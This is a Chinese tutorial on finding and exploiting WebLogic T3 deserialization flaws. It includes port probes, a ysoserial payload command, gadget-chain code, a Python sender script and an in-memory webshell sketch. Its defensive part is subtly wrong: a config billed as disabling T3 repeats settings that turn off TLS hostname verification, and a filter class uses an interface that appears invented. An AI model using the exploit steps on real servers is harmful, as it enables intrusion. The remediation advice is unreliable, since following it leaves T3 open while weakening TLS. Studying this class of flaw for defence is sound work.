从零开始学习Weblogic T3协议与反序列化漏洞的挖掘与利用
1. 什么是Weblogic T3协议
T3协议是Oracle WebLogic Server用于在集群环境中进行内部通信的专有协议。它建立在TCP/IP之上,主要用于服务器与托管服务器、管理服务器、控制台等组件之间的通信。T3协议具备以下特点:
- 支持异步请求/响应通信模型
- 支持双向通信
- 内置负载均衡、容错机制
- 支持对象序列化传输
默认情况下,Weblogic T3协议的监听端口为7001,与HTTP服务端口相同,但走的是不同的协议处理流程。
2. T3协议漏洞的核心原理
T3协议漏洞的核心在于不安全的对象反序列化。攻击者可以通过T3协议向WebLogic服务器发送恶意的序列化对象,当服务器反序列化这些对象时,会触发恶意代码执行。
2.1 反序列化机制
WebLogic在T3协议的实现中使用了Java的原生序列化机制。当服务器接收到T3协议数据时:
- 解析T3协议头
- 提取序列化的Java对象
- 调用
ObjectInputStream.readObject()方法反序列化对象 - 在反序列化过程中,会调用对象的
readObject()方法
2.2 漏洞利用链
要成功利用T3反序列化漏洞,需要满足以下条件:
- 存在可利用的gadget chain(利用链)
- 利用链中的类存在于目标服务器的classpath中
- 目标服务器开放T3协议服务
3. 漏洞挖掘流程与方法
3.1 信息收集阶段
-
端口扫描:确认目标是否开放7001端口
nmap -sV -p 7001 目标IP -
协议识别:确认T3服务是否可用
echo -e "t3 12.2.3\nAS:255\nHL:19\n\n" | nc 目标IP 7001 -
版本识别:通过返回信息判断WebLogic版本
- 12.x版本:
HELO:12.2.1.3.0.false - 10.x版本:
HELO:10.3.6.0.false
- 12.x版本:
3.2 漏洞探测阶段
-
使用现有工具检测
- ysoserial:生成各种gadget的payload
- weblogicScanner:自动化检测工具
- T3协议反序列化检测脚本
-
手工检测方法
- 发送恶意序列化对象观察响应
- 通过DNSLOG、HTTPLOG等方式验证反序列化触发
3.3 Gadget Chain分析
常见的有漏洞的组件和gadget chain包括:
3.3.1 Common Collections链
// 基于CommonsCollections的利用链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", ...),
new InvokerTransformer("invoke", ...),
new InvokerTransformer("exec", ...)
};
3.3.2 Jdk7u21链
利用JDK内部的sun.reflect.annotation.AnnotationInvocationHandler和LinkedHashSet构造利用链。
3.3.3 CVE-2018-2628
Oracle WebLogic Server 10.3.6.0, 12.1.3.0, 12.2.1.0, 12.2.1.1, 12.2.1.2版本的T3协议反序列化漏洞。
4. 漏洞利用实战
4.1 环境搭建
-
漏洞环境准备
- 下载有漏洞的WebLogic版本(如10.3.6.0)
- 安装JDK 1.7或1.8
- 配置WebLogic域
-
工具准备
# 安装Java反序列化利用框架 git clone https://github.com/frohoff/ysoserial.git cd ysoserial mvn clean package -DskipTests
4.2 利用步骤
-
生成payload
# 使用ysoserial生成CommonsCollections1的payload java -jar ysoserial.jar CommonsCollections1 "command" > payload.bin -
构造T3协议数据包
import socket import struct def build_t3_payload(serialized_data): # T3协议头 t3_header = "t3 12.2.3\nAS:255\nHL:19\n\n" # 构造完整payload payload = t3_header.encode() payload += serialized_data return payload -
发送恶意payload
def exploit(target_ip, target_port, payload): try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) # 发送payload sock.send(payload) # 接收响应 response = sock.recv(1024) print(f"Response: {response}") sock.close() return True except Exception as e: print(f"Exploit failed: {e}") return False
4.3 内存马注入
除了执行系统命令,还可以注入内存WebShell:
-
冰蝎内存马
// 基于Filter的内存马 public class MemoryShell implements Filter { public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) { // 恶意代码逻辑 if (req.getParameter("cmd") != null) { // 执行命令 } } } -
哥斯拉内存马
- 基于JSP的加密内存WebShell
- 支持多种加密方式
- 功能更全面的管理界面
5. 防御与修复方案
5.1 临时防护措施
-
禁用T3协议
# 修改WebLogic配置 # 在setDomainEnv.sh中添加 JAVA_OPTIONS="-Dweblogic.security.SSL.ignoreHostnameVerification=true -Dweblogic.security.allowCryptoJDefaultJCEVerification=true -Dweblogic.security.allowCryptoJDefaultPRNG=true -Dweblogic.security.SSL.minimumProtocolVersion=TLSv1.2 -Dweblogic.security.SSL.enforceConstraints=on -Dweblogic.security.SSL.hostnameVerifier=none -Dweblogic.security.SSL.ignoreHostnameVerification=true -Dweblogic.security.SSL.trustedCAKeyStore=/path/to/truststore -Dweblogic.security.SSL.ignoreHostnameVerification=true -Dweblogic.security.SSL.ignoreHostnameVerification=true -Dweblogic.security.SSL.ignoreHostnameVerification=true" -
配置访问控制
<!-- 在WebLogic控制台配置T3协议访问控制 --> <network-access-point> <name>T3ProtocolFilter</name> <protocol>t3</protocol> <listen-address>localhost</listen-address> </network-access-point> -
使用防火墙限制
# 只允许特定IP访问7001端口 iptables -A INPUT -p tcp --dport 7001 -s 可信IP -j ACCEPT iptables -A INPUT -p tcp --dport 7001 -j DROP
5.2 永久修复方案
-
及时安装官方补丁
- 关注Oracle官方安全公告
- 定期更新WebLogic版本
- 应用最新的PSU(Patch Set Update)
-
升级到安全版本
- WebLogic 12.2.1.4.0及以上
- WebLogic 14.1.1.0.0及以上
-
使用WebLogic T3协议过滤
// 实现自定义的T3协议过滤器 public class T3ProtocolFilter implements weblogic.rjvm.MsgAbbrevJVMConnection.ProtocolFilter { public boolean allow(Object obj) { // 检查反序列化的类是否在白名单中 return isClassAllowed(obj.getClass()); } }
5.3 安全加固建议
-
网络层防护
- 将WebLogic部署在内网
- 使用反向代理(如Nginx)对外提供服务
- 配置WAF防护规则
-
应用层防护
- 使用Java Security Manager
- 配置反序列化过滤器
- 移除不必要的依赖包
-
监控与检测
- 监控异常的T3协议请求
- 部署RASP进行运行时防护
- 定期进行安全扫描
6. 工具与资源
6.1 常用工具
-
检测工具
- weblogicScanner
- T3ProtocolExploit
- WeblogicExploitGUI
-
利用工具
- ysoserial
- marshalsec
- JNDI-Injection-Exploit
-
分析工具
- JD-GUI:Java反编译工具
- Burp Suite:协议分析
- Wireshark:流量分析
6.2 学习资源
-
官方文档
- Oracle WebLogic Server文档
- Java序列化规范
-
安全公告
- Oracle Critical Patch Updates
- CVE漏洞数据库
- 安全厂商漏洞通告
-
实践环境
- Vulhub漏洞环境
- WebLogic漏洞复现环境
- CTF题目与Writeup
7. 法律与道德声明
- 授权测试:仅在获得明确授权的情况下进行安全测试
- 最小影响:测试过程中避免对业务系统造成影响
- 保密义务:对测试过程中获取的敏感信息保密
- 遵守法律:严格遵守《网络安全法》等相关法律法规
文档未详述此点,但基于我所掌握的知识:在实际漏洞挖掘和利用过程中,需要特别注意Java版本、WebLogic版本、以及依赖库版本的兼容性问题。不同版本的利用链可能存在差异,需要根据目标环境调整利用方案。同时,随着Java安全机制的不断加强,很多传统的利用方式在新版本JDK中可能失效,需要研究新的绕过技术。